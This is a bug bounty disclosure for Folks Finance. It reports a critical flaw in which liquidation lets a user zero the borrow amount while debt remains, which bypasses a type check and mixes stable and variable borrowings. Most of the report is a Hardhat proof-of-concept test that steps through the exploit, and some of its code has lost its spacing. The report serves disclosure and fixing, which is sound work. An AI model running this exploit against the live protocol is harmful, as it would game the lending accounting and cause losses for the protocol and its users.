Boost _ Folks Finance 34190 - [Smart Contract - Critical] Liquidated users can mix and manipulate stable and variable borrowings through exploitative liquidation process
Submitted on Tue Aug 06 2024 07:49:14 GMT-0400 (Atlantic Standard Time) by @zarkk for Boost | Folks Finance
Users can mix their UserLoanBorrow with both stable and variable borrowings manipulating a check on LiquidationLogic and, in this way, pay less interest and mess up HubPool accountings.
Vulnerability Details
During the liquidation process in Folks Finance, there is a critical check within the prepareLiquidation function of the LiquidationLogic contract. This check ensures that the borrowings of the liquidated user (violator) cannot be transferred to the liquidator's UserLoanBorrow account if the liquidator already has an active debt of a different borrowing type (stable or variable). The relevant code snippet is shown below:
This code snippet ensures that if the liquidator already has an active borrowing, he cannot combine it with the violator’s borrowing if the types differ.
However, an exploit exists where the liquidator can have liquidatorLoanBorrow.amount == 0 while still having an active borrowing balance, thereby bypassing the check and allowing the liquidation to proceed without reverting. This creates a scenario where the system does not verify whether the two borrowings (liquidator's and violator's) are of the same type, leading to an unintended mixture of stable and variable borrowings in a single loan account. Let's see how this is possible.
If we examine liquidation process, we can see that during transferBorrowFromViolator of UserLoanLogic there is a way for the borrow.amount to be zeroed out while the borrow.balance to be non-zero and, therefore, has active borrow debt. We can this here :
This is not hard to be accomplished by a user who can just borrow slightly more than his collateral, effectively making himself near under-collateralized and then immediately liquidate himself by the max amount he is able to and zero out the borrow.amount letting his borrow.balance to be > 0.
This exploit is particularly effective when there is a significant difference between the amount and balance, indicating substantial accrued interest.
Users can then liquidate their own loans and those of others to mix and match borrowing types to their advantage. This could happen either intentionally or through someone else liquidating them, allowing them to exploit the system further.
For detailed transaction flows, refer to the Proof of Concept (PoC).
Impact Details
The impact of this vulnerability is significant. If exploited on a large scale, it could severely disrupt the accounting within the protocol's HubPool for both stable and variable borrowings. This opens the door for malicious actors to take advantage of different interest rates and indexes, enabling them to manipulate their borrowings in a way that is highly beneficial to them but detrimental to the protocol. This could undermine the financial stability of the platform and violate the intended logic of the system.
To demonstrate this vulnerability, the following test can be added under the "Liquidate" section in LoanManager.test.ts and run using npm test. The comments in the code are crucial for understanding the logic and transaction flow:
it.only("Should let a liquidated variable borrowing user to be able to liquidate another stable borrowing user and mix his borrowings ", async () => {
const {hub,loanManager,oracleManager,pools, loanId: violatorLoanId, accountId: violatorAccountId,loanTypeId,borrowAmount, usdcVariableInterestIndex: oldVariableInterestIndex, } =awaitloadFixture(depositEtherAndVariableBorrowUSDCFixture);// Config the liquidator.constliquidatorLoanId=getRandomBytes(BYTES32_LENGTH);constliquidatorAccountId=getAccountIdBytes("LIQUIDATOR_ACCOUNT_ID");constliquidatorLoanName=getRandomBytes(BYTES32_LENGTH); await loanManager.connect(hub).createUserLoan(liquidatorLoanId, liquidatorAccountId, loanTypeId, liquidatorLoanName);
constliquidatorDepositAmount=BigInt(10000e6); // 10,000 USDCconstliquidatorDepositFAmount= liquidatorDepositAmount;constliquidatorDepositInterestIndex=BigInt(1e18);constusdcPrice=BigInt(1e18); await pools.USDC.pool.setDepositPoolParams({fAmount: liquidatorDepositFAmount,depositInterestIndex: liquidatorDepositInterestIndex,priceFeed: { price: usdcPrice, decimals: pools.USDC.tokenDecimals },});
await loanManager.connect(hub).deposit(liquidatorLoanId, liquidatorAccountId, pools.USDC.poolId, liquidatorDepositAmount);
// Prepare liquidationconstethNodeOutputData=getNodeOutputData(BigInt(1100e18)); // ETH Price at $1,100awaitoracleManager.setNodeOutput(pools.ETH.poolId,pools.ETH.tokenDecimals, ethNodeOutputData);// Interest calculationsconstvariableInterestIndex=BigInt(1.5e18); // Variable index is 1,5 so to do it more easy to understand.conststableInterestRate=BigInt(0.1e18);awaitpools.USDC.pool.setBorrowPoolParams({ variableInterestIndex, stableInterestRate });awaitpools.USDC.pool.setUpdatedVariableBorrowInterestIndex(variableInterestIndex);constborrowBalance=calcBorrowBalance(borrowAmount, variableInterestIndex, oldVariableInterestIndex);console.log("borrowBalance",borrowBalance.toString()); // Borrow balance is around 1400 USDC.console.log("borrowAmount",borrowAmount.toString()); // Borrow amount is 1000 USDC.constseizeCollateralAmount=BigInt(1e18); // 1 ETH = $1,100 = 1100 USDCconstrepayAmount=convToRepayBorrowAmount( seizeCollateralAmount,ethNodeOutputData.price,pools.ETH.tokenDecimals, usdcPrice,pools.USDC.tokenDecimals,BigInt(0.04e4) ); console.log("repayAmount", repayAmount.toString()); // Repay amount is around 1144 USDC, so it is bigger than the violator's borrow amount.
constattemptedRepayAmount= repayAmount +BigInt(10e6);// Liquidation is executed.constminSeizedAmount=BigInt(0);constliquidate=await loanManager.connect(hub).liquidate( violatorLoanId, liquidatorLoanId, liquidatorAccountId,pools.ETH.poolId,pools.USDC.poolId, attemptedRepayAmount, minSeizedAmount ); // Now, violator's user loan borrow has 0 USDC amount and around 300 USDC balance. This means that it will pass the check in prepareLiquidation() if he tries to liquidate someone else STABLE type of borrowings.
// Remember, the violator's borrow is VARIABLE. // Config a new violator which will have STABLE borrowing. The previous violator which was VARIABLE borrowing will try to liquidate this new violator and it will not revert even if there is type mismatch.
// In this way the previous violator will gain stable borrowing amounts in his variable borrowing loan, and this can be vice versa.
constnewViolatorsLoanId=getRandomBytes(BYTES32_LENGTH);constnewViolatorsAccountId=getAccountIdBytes("NEW_VIOLATOR_ACCOUNT_ID");constnewViolatorsLoanName=getRandomBytes(BYTES32_LENGTH); await loanManager.connect(hub).createUserLoan(newViolatorsLoanId, newViolatorsAccountId, loanTypeId, newViolatorsLoanName);
// New violator deposit.constdepositAmount=BigInt(1e18); // 1 ETHconstdepositFAmount= depositAmount;constdepositInterestIndex=BigInt(1e18);constethPrice=BigInt(3000e18);awaitpools.ETH.pool.setDepositPoolParams({ fAmount: depositFAmount, depositInterestIndex, priceFeed: { price: ethPrice, decimals:pools.ETH.tokenDecimals }, }); const deposit = await loanManager.connect(hub).deposit(newViolatorsLoanId, newViolatorsAccountId, pools.ETH.poolId, depositAmount);
// New violator stable borrowing of 1000 USDC.constusdcNodeOutputData=getNodeOutputData(BigInt(1e18));awaitoracleManager.setNodeOutput(pools.USDC.poolId,pools.USDC.tokenDecimals, usdcNodeOutputData);constethNodeOutputData3=getNodeOutputData(BigInt(3000e18));awaitoracleManager.setNodeOutput(pools.ETH.poolId,pools.ETH.tokenDecimals, ethNodeOutputData3);awaitpools.USDC.pool.setBorrowPoolParams({ variableInterestIndex, stableInterestRate });awaitpools.USDC.pool.setUpdatedVariableBorrowInterestIndex(variableInterestIndex);constborrowAmountNewViolator=BigInt(2000e6); // 2000 USDCconstborrow=await loanManager.connect(hub) .borrow(newViolatorsLoanId, newViolatorsAccountId, pools.USDC.poolId, borrowAmountNewViolator, stableInterestRate);
// New violator has 2000 USDC borrowed and 1 ETH collateral of $3000.// Before the liquidation, the previous violator which will now be liquidator has to deposit some ETH.constdepositAmountPrevViol=BigInt(1e18); // 1 ETHconstdepositFAmountViol= depositAmountPrevViol;constethPrice2=BigInt(3000e18);awaitpools.ETH.pool.setDepositPoolParams({ fAmount: depositFAmountViol, depositInterestIndex, priceFeed: { price: ethPrice2, decimals:pools.ETH.tokenDecimals }, }); const depositViol = await loanManager.connect(hub).deposit(violatorLoanId, violatorAccountId, pools.ETH.poolId, depositAmountPrevViol);
// Now let's make the new violator's loan to be liquidatable by the previous violator and in this way the borrowing of previous violator in USDC will be mixed up with stable and variable borrowings.
constethNodeOutputData2=getNodeOutputData(BigInt(600e18)); // awaitoracleManager.setNodeOutput(pools.ETH.poolId,pools.ETH.tokenDecimals, ethNodeOutputData2); // Here, the previous violator will try to liquidate the new violator and get from him the variable borrowings which he has in his loan.
constliquidate2=await loanManager.connect(hub).liquidate( newViolatorsLoanId, violatorLoanId, violatorAccountId,pools.ETH.poolId,pools.USDC.poolId,BigInt(50e6),BigInt(0) ); // Eventually, previous violators UserLoanBorrow for USDC will have amount and balance gained from both stable and variable borrowings and in this way the protocols accountings can be gamed. Also, it will have stableInterestRate of the new violator.
// TLDR: A user was borrowed USDC variable but after his liquidation, he was able to liquidate another user and gain his stable USDC borrowings and in this way his borrowings was from mixed sources. The accountings of protocol were gamed, at the end.
});
This test demonstrates how a user can exploit the system to mix stable and variable borrowings, thereby compromising the protocol.